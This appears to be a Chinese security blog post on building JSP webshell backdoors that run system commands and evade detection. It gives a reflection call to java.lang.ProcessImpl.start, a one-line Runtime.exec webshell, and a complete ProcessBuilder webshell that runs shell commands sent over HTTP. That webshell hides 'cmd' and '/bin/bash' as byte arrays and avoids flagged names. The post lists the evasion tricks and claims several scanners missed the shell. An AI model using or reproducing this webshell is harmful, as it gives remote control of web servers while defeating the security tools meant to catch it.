ProcessImpl 反射调用start方法有ProcessBuilder关键字
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
String[] cmdarray = new String[]{"open", "/Applications/Calculator.app/Contents/MacOS/Calculator"};
//String[] cmdarray = new String[]{"cat", "/etc/passwd"};
Map<String, String> environment = null;
String dir = ".";
Redirect[] redirects = null;
boolean redirectErrorStream = Boolean.TRUE;
Object obj = method.invoke(null, cmdarray, environment, dir, redirects, redirectErrorStream);
0x00:前言
JSP后门,一般是指文件名以.jsp等后缀结尾的,可运行于Java servlet及相关容器和组件内的通用JSP脚本。
本文主要讨论利用Java反射机制和Java类加载机制构造JSP系统命令执行后门,并绕过一般软件检测的方法。
0x01:Java执行系统命令的方法和原理
要构建JSP命令执行后门,首先需要了解Java语言执行系统命令的方法及其原理。通过查阅资料知道:目前Java语言执行系统命令主要通过下面两个类的相关方法实现:
java.lang.Runtime
java.lang.ProcessBuilder
- JVM层面
查阅 Java 文档 可以发现,上面两个类,都是对java.lang.Process抽象类的实现
Java语言中执行系统命令的方式,简单来说就是由JVM创建一个本机进程,加载对应的指令到进程的地址空间中,然后执行该指令。
而java.lang.Runtime.getRuntime().exec()和 java.lang.ProcessBuilder.start()方法,其实就是创建一个进程的方法。
代码层面
首先,进入java.lang.Runtime类中,发现Runtime类的构造器是private修饰的,所以无法直接获得Runtime类的实例,只能通过其getRuntime()方法来间接获取一个Runtime类的实例。
跟随java.lang.Runtime.getRuntime(),进入exec()方法;然后不断跟踪代码,定位到如下方法中。可以看到,Runtime类实现的系统命令执行方法exec(),底层代码其实是调用了ProcessBuilder类。
然后我们定位到ProcessBuilder类代码中,我们知道ProcessBuilder类用start方法创建进程,所以找到start方法的相关代码。可以发现其底层代码是调用了java.lang.ProcessImpl类的start方法,最终实现创建本机进程,执行系统命令的功能。
继续跟踪,发现ProcessImpl类的原型是一个继承自Process类的final类
final class ProcessImpl extends Process{}
查看ProcessImpl的构造器,发现是private修饰的,所以无法直接在java.lang包外,直接调用ProcessImpl类。private ProcessImpl(String cmd[], final String envblock, final String path, final long[] stdHandles, final boolean redirectErrorStream) throws IOException {}
继续追踪ProcessImpl类的start方法,发现最后是返回了一个ProcessImpl 类的实例。
总结一下,Java语言执行系统命令相关类和方法的调用关系表示如下图:
0x02:JSP标签
在JSP页面中嵌入java代码,需要正确的使用JSP标签,这里顺带提一下。
<%@ %> 页面指令,设定页面属性和特征信息
<% %> java代码片段,不能在此声明方法
<%! %> java代码声明,声明全局变量或当前页面的方法
<%= %> Java表达式
0x03:用ProcessBuilder绕过检测
先看一个简单原始的执行系统命令的后门:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
接收请求参数i传递的命令字符串,然后使用Runtime对象的exec()方法执行该命令。特点是命令无回显,会被杀。
"Runtime"、"exec"字符串过于显眼,基本都会被查杀软件检测到。所以,可以使用ProcessBuilder类建立一个不那么轻易被杀的命令执行后门,命名为ProcessBuilder-cmd.jsp:
<%@ page pageEncoding="utf-8"%>
<%@ page import="java.util.Scanner" %>
<HTML>
<title>Just For Fun</title>
<BODY>
<H3>Build By LandGrey</H3>
<FORM METHOD="POST" NAME="form" ACTION="#">
<INPUT TYPE="text" NAME="q">
<INPUT TYPE="submit" VALUE="Fly">
</FORM>
<%
String op="Got Nothing";
String query = request.getParameter("q");
String fileSeparator = String.valueOf(java.io.File.separatorChar);
Boolean isWin;
if(fileSeparator.equals("\\")){
isWin = true;
}else{
isWin = false;
}
if (query != null) {
ProcessBuilder pb;
if(isWin) {
pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
}else{
pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
}
Process process = pb.start();
Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
}
%>
<PRE>
<%= op %>>
</PRE>
</BODY>
</HTML>
执行命令:
上述代码做的几点绕过检测的考虑:
1. 避免出现敏感变量名
如"cmd"、"spy"、"exec"、"shell"、"execute"、"system"、"command"等等
2. 字符串拆解重组
将"cmd"、"/c"和"/bin/bash"、"-c"等都做了处理,由字节转为字符串
3. 使用Scanner接收回显
接收命令回显数据时,避免使用BufferedReader等常见手段
4. 用fileSeparator来判断操作系统类型
一般使用System.getProperty/getProperties获取操作系统的类型,这里使用路径分隔符简单判断,然后再选用"cmd /c"或者"/bin/bash -c"来执行命令
5. 不导入过多的包
虽然做的绕过考虑不多,还带有ProcessBuilder关键字,但还是没被以下软件和平台检测出来:
virustotal检测:
shellpub.com检测:
D盾、安全狗、深信服Webshell扫描检测:只有故意放置的一个简单exec后门被查出来